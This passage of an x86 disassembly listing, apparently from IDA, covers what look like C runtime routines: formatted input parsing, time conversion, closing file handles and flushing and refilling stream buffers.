ecx mov [ebp+var_14], ebx inc esi loc_415AAA: ; CODE XREF: sub_41578D+360j cmp ds:dword_42E39C, 1 jle short loc_415ABF push 4 push ebx call sub_413446 pop ecx pop ecx jmp short loc_415ACA ; --------------------------------------------------------------------------- loc_415ABF: ; CODE XREF: sub_41578D+324j mov eax, ds:off_42E190 mov al, [eax+ebx*2] and eax, 4 loc_415ACA: ; CODE XREF: sub_41578D+330j test eax, eax jz short loc_415AEF mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_415AEF inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_4161E9 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_415AAA ; --------------------------------------------------------------------------- loc_415AEF: ; CODE XREF: sub_41578D+2FAj ; sub_41578D+304j ... cmp [ebp+var_1C], 0 jz loc_415B87 cmp ebx, 65h jz short loc_415B07 cmp ebx, 45h jnz loc_415B87 loc_415B07: ; CODE XREF: sub_41578D+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_415B87 mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_4161E9 mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_415B2E mov [esi], al inc esi jmp short loc_415B33 ; --------------------------------------------------------------------------- loc_415B2E: ; CODE XREF: sub_41578D+39Aj cmp ebx, 2Bh jnz short loc_415B51 loc_415B33: ; CODE XREF: sub_41578D+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_415B42 and [ebp+var_C], eax jmp short loc_415B51 ; --------------------------------------------------------------------------- loc_415B42: ; CODE XREF: sub_41578D+3AEj ; sub_41578D+3F8j inc [ebp+var_4] push edi call sub_4161E9 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_415B51: ; CODE XREF: sub_41578D+3A4j ; sub_41578D+3B3j cmp ds:dword_42E39C, 1 jle short loc_415B66 push 4 push ebx call sub_413446 pop ecx pop ecx jmp short loc_415B71 ; --------------------------------------------------------------------------- loc_415B66: ; CODE XREF: sub_41578D+3CBj mov eax, ds:off_42E190 mov al, [eax+ebx*2] and eax, 4 loc_415B71: ; CODE XREF: sub_41578D+3D7j test eax, eax jz short loc_415B87 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_415B87 inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_415B42 ; --------------------------------------------------------------------------- loc_415B87: ; CODE XREF: sub_41578D+366j ; sub_41578D+374j ... dec [ebp+var_4] push edi push ebx call sub_416203 cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_416193 cmp [ebp+var_E], 0 jnz loc_4160F4 inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call ds:off_42E4D0 add esp, 0Ch jmp loc_4160F4 ; --------------------------------------------------------------------------- loc_415BCB: ; CODE XREF: sub_41578D+20Cj cmp [ebp+var_20], eax jnz short loc_415BDA inc [ebp+var_C] mov [ebp+var_20], 1 loc_415BDA: ; CODE XREF: sub_41578D+441j cmp [ebp+var_5], 0 jle short loc_415BE4 mov [ebp+var_16], 1 loc_415BE4: ; CODE XREF: sub_41578D+451j mov edi, offset dword_42E500 jmp loc_415CF9 ; --------------------------------------------------------------------------- loc_415BEE: ; CODE XREF: sub_41578D+1FDj mov eax, esi sub eax, 70h jz loc_415E9C sub eax, 3 jz loc_415CEA dec eax dec eax jz loc_415EA0 sub eax, 3 jz loc_4159D6 sub eax, 3 jz short loc_415C3C loc_415C18: ; CODE XREF: sub_41578D+21Bj ; sub_41578D+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_416163 dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_4160F4 mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_4160F4 ; --------------------------------------------------------------------------- loc_415C3C: ; CODE XREF: sub_41578D+489j cmp [ebp+var_5], 0 jle short loc_415C46 mov [ebp+var_16], 1 loc_415C46: ; CODE XREF: sub_41578D+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_415CFD mov eax, edi lea edi, [eax+1] jmp loc_415CF9 ; --------------------------------------------------------------------------- loc_415C60: ; CODE XREF: sub_41578D+24Fj cmp ebx, 2Bh jnz short loc_415C87 loc_415C65: ; CODE XREF: sub_41578D+259j dec [ebp+var_C] jnz short loc_415C76 cmp [ebp+var_20], 0 jz short loc_415C76 mov [ebp+var_F], 1 jmp short loc_415C87 ; --------------------------------------------------------------------------- loc_415C76: ; CODE XREF: sub_41578D+4DBj ; sub_41578D+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_4161E9 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_415C87: ; CODE XREF: sub_41578D+4D6j ; sub_41578D+4E7j cmp ebx, 30h jnz loc_415ED5 push [ebp+arg_0] inc [ebp+var_4] call sub_4161E9 mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_415CD5 cmp bl, 58h jz short loc_415CD5 cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_415CBF push 6Fh loc_415CB9: ; CODE XREF: sub_41578D+55Bj pop esi jmp loc_415ED5 ; --------------------------------------------------------------------------- loc_415CBF: ; CODE XREF: sub_41578D+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_416203 pop ecx pop ecx push 30h pop ebx jmp loc_415ED2 ; --------------------------------------------------------------------------- loc_415CD5: ; CODE XREF: sub_41578D+517j ; sub_41578D+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_4161E9 pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_415CB9 ; --------------------------------------------------------------------------- loc_415CEA: ; CODE XREF: sub_41578D+46Fj cmp [ebp+var_5], 0 jle short loc_415CF4 mov [ebp+var_16], 1 loc_415CF4: ; CODE XREF: sub_41578D+561j mov edi, offset dword_42E4F8 loc_415CF9: ; CODE XREF: sub_41578D+45Cj ; sub_41578D+4CEj or [ebp+var_18], 0FFh loc_415CFD: ; CODE XREF: sub_41578D+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_410590 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_415D21 cmp byte ptr [edi], 5Dh jnz short loc_415D21 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_415D24 ; --------------------------------------------------------------------------- loc_415D21: ; CODE XREF: sub_41578D+584j ; sub_41578D+589j mov dl, [ebp+var_35] loc_415D24: ; CODE XREF: sub_41578D+592j ; sub_41578D+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_415D89 inc edi cmp al, 2Dh jnz short loc_415D70 test dl, dl jz short loc_415D70 mov cl, [edi] cmp cl, 5Dh jz short loc_415D70 inc edi cmp dl, cl jnb short loc_415D43 mov al, cl jmp short loc_415D47 ; --------------------------------------------------------------------------- loc_415D43: ; CODE XREF: sub_41578D+5B0j mov al, dl mov dl, cl loc_415D47: ; CODE XREF: sub_41578D+5B4j cmp dl, al ja short loc_415D6C movzx edx, dl movzx esi, al sub esi, edx inc esi loc_415D54: ; CODE XREF: sub_41578D+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_415D54 loc_415D6C: ; CODE XREF: sub_41578D+5BCj xor dl, dl jmp short loc_415D24 ; --------------------------------------------------------------------------- loc_415D70: ; CODE XREF: sub_41578D+5A0j ; sub_41578D+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_415D24 ; --------------------------------------------------------------------------- loc_415D89: ; CODE XREF: sub_41578D+59Bj cmp byte ptr [edi], 0 jz loc_416193 cmp [ebp+var_3C], 7Bh jnz short loc_415D9B mov [ebp+arg_4], edi loc_415D9B: ; CODE XREF: sub_41578D+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_416203 pop ecx pop ecx loc_415DB2: ; CODE XREF: sub_41578D+6BCj ; sub_41578D+6C4j cmp [ebp+var_20], 0 jz short loc_415DC6 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_415E62 loc_415DC6: ; CODE XREF: sub_41578D+629j inc [ebp+var_4] push edi call sub_4161E9 cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_415E56 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_415E56 cmp [ebp+var_E], 0 jnz short loc_415E4E cmp [ebp+var_16], 0 jz short loc_415E43 mov ecx, ds:off_42E190 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_415E22 inc [ebp+var_4] push edi call sub_4161E9 pop ecx mov [ebp+var_37], al loc_415E22: ; CODE XREF: sub_41578D+686j push ds:dword_42E39C lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_4189E7 mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_415E46 ; --------------------------------------------------------------------------- loc_415E43: ; CODE XREF: sub_41578D+673j mov [esi], al inc esi loc_415E46: ; CODE XREF: sub_41578D+6B4j mov [ebp+var_2C], esi jmp loc_415DB2 ; --------------------------------------------------------------------------- loc_415E4E: ; CODE XREF: sub_41578D+66Dj inc [ebp+var_30] jmp loc_415DB2 ; --------------------------------------------------------------------------- loc_415E56: ; CODE XREF: sub_41578D+649j ; sub_41578D+667j dec [ebp+var_4] push edi push eax call sub_416203 pop ecx pop ecx loc_415E62: ; CODE XREF: sub_41578D+633j cmp [ebp+var_30], esi jz loc_416193 cmp [ebp+var_E], 0 jnz loc_4160F4 inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_4160F4 cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_415E94 and word ptr [eax], 0 jmp loc_4160F4 ; --------------------------------------------------------------------------- loc_415E94: ; CODE XREF: sub_41578D+6FCj and byte ptr [eax], 0 jmp loc_4160F4 ; --------------------------------------------------------------------------- loc_415E9C: ; CODE XREF: sub_41578D+466j mov [ebp+var_D], 1 loc_415EA0: ; CODE XREF: sub_41578D+203j ; sub_41578D+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_415EAE mov [ebp+var_17], 1 jmp short loc_415EB3 ; --------------------------------------------------------------------------- loc_415EAE: ; CODE XREF: sub_41578D+719j cmp ebx, 2Bh jnz short loc_415ED5 loc_415EB3: ; CODE XREF: sub_41578D+71Fj dec [ebp+var_C] jnz short loc_415EC4 cmp [ebp+var_20], 0 jz short loc_415EC4 mov [ebp+var_F], 1 jmp short loc_415ED5 ; --------------------------------------------------------------------------- loc_415EC4: ; CODE XREF: sub_41578D+729j ; sub_41578D+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_4161E9 pop ecx mov ebx, eax loc_415ED2: ; CODE XREF: sub_41578D+543j mov [ebp+var_14], ebx loc_415ED5: ; CODE XREF: sub_41578D+4FDj ; sub_41578D+52Dj ... cmp [ebp+var_30], 0 jz loc_415FEE cmp [ebp+var_F], 0 jnz loc_415FCC loc_415EE9: ; CODE XREF: sub_41578D+82Cj cmp esi, 78h jnz short loc_415F3D cmp ds:dword_42E39C, 1 jle short loc_415F06 push 80h push ebx call sub_413446 pop ecx pop ecx jmp short loc_415F13 ; --------------------------------------------------------------------------- loc_415F06: ; CODE XREF: sub_41578D+768j mov eax, ds:off_42E190 mov al, [eax+ebx*2] and eax, 80h loc_415F13: ; CODE XREF: sub_41578D+777j test eax, eax jz loc_415FBE mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_418AE0 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_4161B2 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_415F90 ; --------------------------------------------------------------------------- loc_415F3D: ; CODE XREF: sub_41578D+75Fj cmp ds:dword_42E39C, 1 jle short loc_415F52 push 4 push ebx call sub_413446 pop ecx pop ecx jmp short loc_415F5D ; --------------------------------------------------------------------------- loc_415F52: ; CODE XREF: sub_41578D+7B7j mov eax, ds:off_42E190 mov al, [eax+ebx*2] and eax, 4 loc_415F5D: ; CODE XREF: sub_41578D+7C3j test eax, eax jz short loc_415FBE cmp esi, 6Fh jnz short loc_415F7B cmp ebx, 38h jge short loc_415FBE mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_418AE0 jmp short loc_415F8A ; --------------------------------------------------------------------------- loc_415F7B: ; CODE XREF: sub_41578D+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_4109C0 loc_415F8A: ; CODE XREF: sub_41578D+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_415F90: ; CODE XREF: sub_41578D+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_415FA8 dec [ebp+var_C] jz short loc_415FCC loc_415FA8: ; CODE XREF: sub_41578D+814j push [ebp+arg_0] inc [ebp+var_4] call sub_4161E9 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_415EE9 ; --------------------------------------------------------------------------- loc_415FBE: ; CODE XREF: sub_41578D+788j ; sub_41578D+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_416203 pop ecx pop ecx loc_415FCC: ; CODE XREF: sub_41578D+756j ; sub_41578D+819j cmp [ebp+var_17], 0 jz loc_4160B2 mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_4160B2 ; --------------------------------------------------------------------------- loc_415FEE: ; CODE XREF: sub_41578D+74Cj cmp [ebp+var_F], 0 jnz loc_4160AA loc_415FF8: ; CODE XREF: sub_41578D+90Aj cmp esi, 78h jz short loc_41603C cmp esi, 70h jz short loc_41603C cmp ds:dword_42E39C, 1 jle short loc_416017 push 4 push ebx call sub_413446 pop ecx pop ecx jmp short loc_416022 ; --------------------------------------------------------------------------- loc_416017: ; CODE XREF: sub_41578D+87Cj mov eax, ds:off_42E190 mov al, [eax+ebx*2] and eax, 4 loc_416022: ; CODE XREF: sub_41578D+888j test eax, eax jz short loc_41609C cmp esi, 6Fh jnz short loc_416035 cmp ebx, 38h jge short loc_41609C shl edi, 3 jmp short loc_416074 ; --------------------------------------------------------------------------- loc_416035: ; CODE XREF: sub_41578D+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_416074 ; --------------------------------------------------------------------------- loc_41603C: ; CODE XREF: sub_41578D+86Ej ; sub_41578D+873j cmp ds:dword_42E39C, 1 jle short loc_416054 push 80h push ebx call sub_413446 pop ecx pop ecx jmp short loc_416061 ; --------------------------------------------------------------------------- loc_416054: ; CODE XREF: sub_41578D+8B6j mov eax, ds:off_42E190 mov al, [eax+ebx*2] and eax, 80h loc_416061: ; CODE XREF: sub_41578D+8C5j test eax, eax jz short loc_41609C push ebx shl edi, 4 call sub_4161B2 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_416074: ; CODE XREF: sub_41578D+8A6j ; sub_41578D+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_416086 dec [ebp+var_C] jz short loc_4160AA loc_416086: ; CODE XREF: sub_41578D+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_4161E9 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_415FF8 ; --------------------------------------------------------------------------- loc_41609C: ; CODE XREF: sub_41578D+897j ; sub_41578D+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_416203 pop ecx pop ecx loc_4160AA: ; CODE XREF: sub_41578D+865j ; sub_41578D+8F7j cmp [ebp+var_17], 0 jz short loc_4160B2 neg edi loc_4160B2: ; CODE XREF: sub_41578D+843j ; sub_41578D+85Cj ... cmp esi, 46h jnz short loc_4160BB and [ebp+var_1C], 0 loc_4160BB: ; CODE XREF: sub_41578D+928j cmp [ebp+var_1C], 0 jz loc_416193 cmp [ebp+var_E], 0 jnz short loc_4160F4 inc [ebp+var_34] loc_4160CE: ; CODE XREF: sub_41578D+23Bj cmp [ebp+var_30], 0 jz short loc_4160E4 mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_4160F4 ; --------------------------------------------------------------------------- loc_4160E4: ; CODE XREF: sub_41578D+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_4160F1 mov [eax], edi jmp short loc_4160F4 ; --------------------------------------------------------------------------- loc_4160F1: ; CODE XREF: sub_41578D+95Ej mov [eax], di loc_4160F4: ; CODE XREF: sub_41578D+241j ; sub_41578D+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_416141 ; --------------------------------------------------------------------------- loc_4160FF: ; CODE XREF: sub_41578D+93j inc [ebp+var_4] push edi call sub_4161E9 mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_41616E mov ecx, ds:off_42E190 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_416141 inc [ebp+var_4] push edi call sub_4161E9 pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_41617C dec [ebp+var_4] loc_416141: ; CODE XREF: sub_41578D+970j ; sub_41578D+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_416157 cmp byte ptr [esi], 25h jnz short loc_416199 mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_416199 mov esi, eax loc_416157: ; CODE XREF: sub_41578D+9B8j mov al, [esi] test al, al jnz loc_4157B7 jmp short loc_416193 ; --------------------------------------------------------------------------- loc_416163: ; CODE XREF: sub_41578D+1F4j ; sub_41578D+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_416173 ; --------------------------------------------------------------------------- loc_41616E: ; CODE XREF: sub_41578D+98Aj dec [ebp+var_4] push edi push ebx loc_416173: ; CODE XREF: sub_41578D+9DFj call sub_416203 pop ecx pop ecx jmp short loc_416193 ; --------------------------------------------------------------------------- loc_41617C: ; CODE XREF: sub_41578D+9AFj dec [ebp+var_4] push edi push eax call sub_416203 dec [ebp+var_4] push edi push ebx call sub_416203 add esp, 10h loc_416193: ; CODE XREF: sub_41578D+1Fj ; sub_41578D+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_4161AA loc_416199: ; CODE XREF: sub_41578D+9BDj ; sub_41578D+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_4161AD cmp [ebp+var_15], al jnz short loc_4161AD or eax, 0FFFFFFFFh jmp short loc_4161AD ; --------------------------------------------------------------------------- loc_4161AA: ; CODE XREF: sub_41578D+A0Aj mov eax, [ebp+var_34] loc_4161AD: ; CODE XREF: sub_41578D+A11j ; sub_41578D+A16j ... pop edi pop esi pop ebx leave retn sub_41578D endp ; =============== S U B R O U T I N E ======================================= sub_4161B2 proc near ; CODE XREF: sub_41578D+7A3p ; sub_41578D+8DCp arg_0 = dword ptr 4 cmp ds:dword_42E39C, 1 push esi jle short loc_4161CC mov esi, [esp+4+arg_0] push 4 push esi call sub_413446 pop ecx pop ecx jmp short loc_4161DB ; --------------------------------------------------------------------------- loc_4161CC: ; CODE XREF: sub_4161B2+8j mov esi, [esp+4+arg_0] mov eax, ds:off_42E190 mov al, [eax+esi*2] and eax, 4 loc_4161DB: ; CODE XREF: sub_4161B2+18j test eax, eax jnz short loc_4161E5 and esi, 0FFFFFFDFh sub esi, 7 loc_4161E5: ; CODE XREF: sub_4161B2+2Bj mov eax, esi pop esi retn sub_4161B2 endp ; =============== S U B R O U T I N E ======================================= sub_4161E9 proc near ; CODE XREF: sub_41578D+1E1p ; sub_41578D+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_4161FB mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_4161FB: ; CODE XREF: sub_4161E9+7j push edx call sub_4164EB pop ecx retn sub_4161E9 endp ; =============== S U B R O U T I N E ======================================= sub_416203 proc near ; CODE XREF: sub_41578D+6Bp ; sub_41578D+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_416219 push [esp+arg_4] push [esp+4+arg_0] call sub_418AFF pop ecx pop ecx locret_416219: ; CODE XREF: sub_416203+5j retn sub_416203 endp ; =============== S U B R O U T I N E ======================================= sub_41621A proc near ; CODE XREF: sub_41578D+63p ; sub_41578D+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_416220: ; CODE XREF: sub_41621A+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_4161E9 mov edi, eax push edi call sub_418AAF pop ecx test eax, eax pop ecx jnz short loc_416220 mov eax, edi pop edi pop esi retn sub_41621A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41623E proc near ; CODE XREF: sub_411914+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_4162FA cmp ebx, 8Ah jg loc_4162FA push esi push edi mov edi, [ebp+arg_4] mov esi, ds:dword_42EC24[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_41627D cmp edi, 2 jle short loc_41627D inc esi loc_41627D: ; CODE XREF: sub_41623E+37j ; sub_41623E+3Cj call sub_418B6D mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, ds:dword_42EB40 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_4162F0 cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_4162F6 cmp ds:dword_42EB44, 0 jz short loc_4162F6 lea eax, [ebp+var_24] push eax call sub_418DE0 pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_4162F6 loc_4162F0: ; CODE XREF: sub_41623E+90j add ecx, ds:dword_42EB48 loc_4162F6: ; CODE XREF: sub_41623E+96j ; sub_41623E+9Fj ... mov eax, ecx jmp short loc_4162FD ; --------------------------------------------------------------------------- loc_4162FA: ; CODE XREF: sub_41623E+13j ; sub_41623E+1Fj or eax, 0FFFFFFFFh loc_4162FD: ; CODE XREF: sub_41623E+BAj pop ebx leave retn sub_41623E endp ; =============== S U B R O U T I N E ======================================= sub_416300 proc near ; CODE XREF: sub_4119F0+2Ap ; sub_4192E6+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, ds:dword_460C60 jnb loc_41639A mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:460B60h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41639A push edi call sub_419252 cmp eax, 0FFFFFFFFh pop ecx jz short loc_416379 cmp edi, 1 jz short loc_416347 cmp edi, 2 jnz short loc_41635D loc_416347: ; CODE XREF: sub_416300+40j push 2 call sub_419252 push 1 mov ebp, eax call sub_419252 pop ecx cmp eax, ebp pop ecx jz short loc_416379 loc_41635D: ; CODE XREF: sub_416300+45j push edi call sub_419252 pop ecx push eax call ds:dword_41C070 ; CloseHandle test eax, eax jnz short loc_416379 call ds:dword_41C068 ; RtlGetLastWin32Error mov ebp, eax jmp short loc_41637B ; --------------------------------------------------------------------------- loc_416379: ; CODE XREF: sub_416300+3Bj ; sub_416300+5Bj ... xor ebp, ebp loc_41637B: ; CODE XREF: sub_416300+77j push edi call sub_4191D8 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_416396 push ebp call sub_41724D pop ecx jmp short loc_4163AB ; --------------------------------------------------------------------------- loc_416396: ; CODE XREF: sub_416300+8Bj xor eax, eax jmp short loc_4163AE ; --------------------------------------------------------------------------- loc_41639A: ; CODE XREF: sub_416300+Ej ; sub_416300+2Fj and ds:dword_45F848, 0 mov ds:dword_45F844, 9 loc_4163AB: ; CODE XREF: sub_416300+94j or eax, 0FFFFFFFFh loc_4163AE: ; CODE XREF: sub_416300+98j pop edi pop esi pop ebp pop ebx retn sub_416300 endp ; =============== S U B R O U T I N E ======================================= sub_4163B3 proc near ; CODE XREF: sub_4119F0+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_4163DC test al, 8 jz short loc_4163DC push dword ptr [esi+8] call sub_410C83 and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_4163DC: ; CODE XREF: sub_4163B3+Aj ; sub_4163B3+Ej pop esi retn sub_4163B3 endp ; =============== S U B R O U T I N E ======================================= sub_4163DE proc near ; CODE XREF: sub_41647E+2Dp ; sub_41647E+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_4163F0 push esi call sub_41647E pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_4163F0: ; CODE XREF: sub_4163DE+7j push esi call sub_416419 test eax, eax pop ecx jz short loc_416400 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_416400: ; CODE XREF: sub_4163DE+1Bj test byte ptr [esi+0Dh], 40h jz short loc_416415 push dword ptr [esi+10h] call sub_41928F neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_416415: ; CODE XREF: sub_4163DE+26j xor eax, eax pop esi retn sub_4163DE endp ; =============== S U B R O U T I N E ======================================= sub_416419 proc near ; CODE XREF: sub_4119F0+1Ap ; seg000:00411E35p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_416466 test ax, 108h jz short loc_416466 mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_416466 push edi push eax push dword ptr [esi+10h] call sub_417DAC add esp, 0Ch cmp eax, edi jnz short loc_41645F mov eax, [esi+0Ch] test al, 80h jz short loc_416466 and al, 0FDh mov [esi+0Ch], eax jmp short loc_416466 ; --------------------------------------------------------------------------- loc_41645F: ; CODE XREF: sub_416419+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_416466: ; CODE XREF: sub_416419+14j ; sub_416419+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_416419 endp ; =============== S U B R O U T I N E ======================================= sub_416475 proc near ; CODE XREF: seg000:loc_418068p push 1 call sub_41647E pop ecx retn sub_416475 endp ; =============== S U B R O U T I N E ======================================= sub_41647E proc near ; CODE XREF: sub_4163DE+Ap ; sub_416475+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp ds:dword_460B40, esi jle short loc_4164DC loc_41648F: ; CODE XREF: sub_41647E+5Cj mov eax, ds:dword_45FB34 mov eax, [eax+esi*4] test eax, eax jz short loc_4164D3 mov ecx, [eax+0Ch] test cl, 83h jz short loc_4164D3 cmp [esp+0Ch+arg_0], 1 jnz short loc_4164B9 push eax call sub_4163DE cmp eax, 0FFFFFFFFh pop ecx jz short loc_4164D3 inc ebx jmp short loc_4164D3 ; --------------------------------------------------------------------------- loc_4164B9: ; CODE XREF: sub_41647E+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_4164D3 test cl, 2 jz short loc_4164D3 push eax call sub_4163DE cmp eax, 0FFFFFFFFh pop ecx jnz short loc_4164D3 or edi, eax loc_4164D3: ; CODE XREF: sub_41647E+1Bj ; sub_41647E+23j ... inc esi cmp esi, ds:dword_460B40 jl short loc_41648F loc_4164DC: ; CODE XREF: sub_41647E+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_4164E7 mov eax, edi loc_4164E7: ; CODE XREF: sub_41647E+65j pop edi pop esi pop ebx retn sub_41647E endp ; =============== S U B R O U T I N E ======================================= sub_4164EB proc near ; CODE XREF: sub_411A46+A9p ; sub_41269C+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_4165BF test al, 40h jnz loc_4165BF test al, 2 jz short loc_416511 or 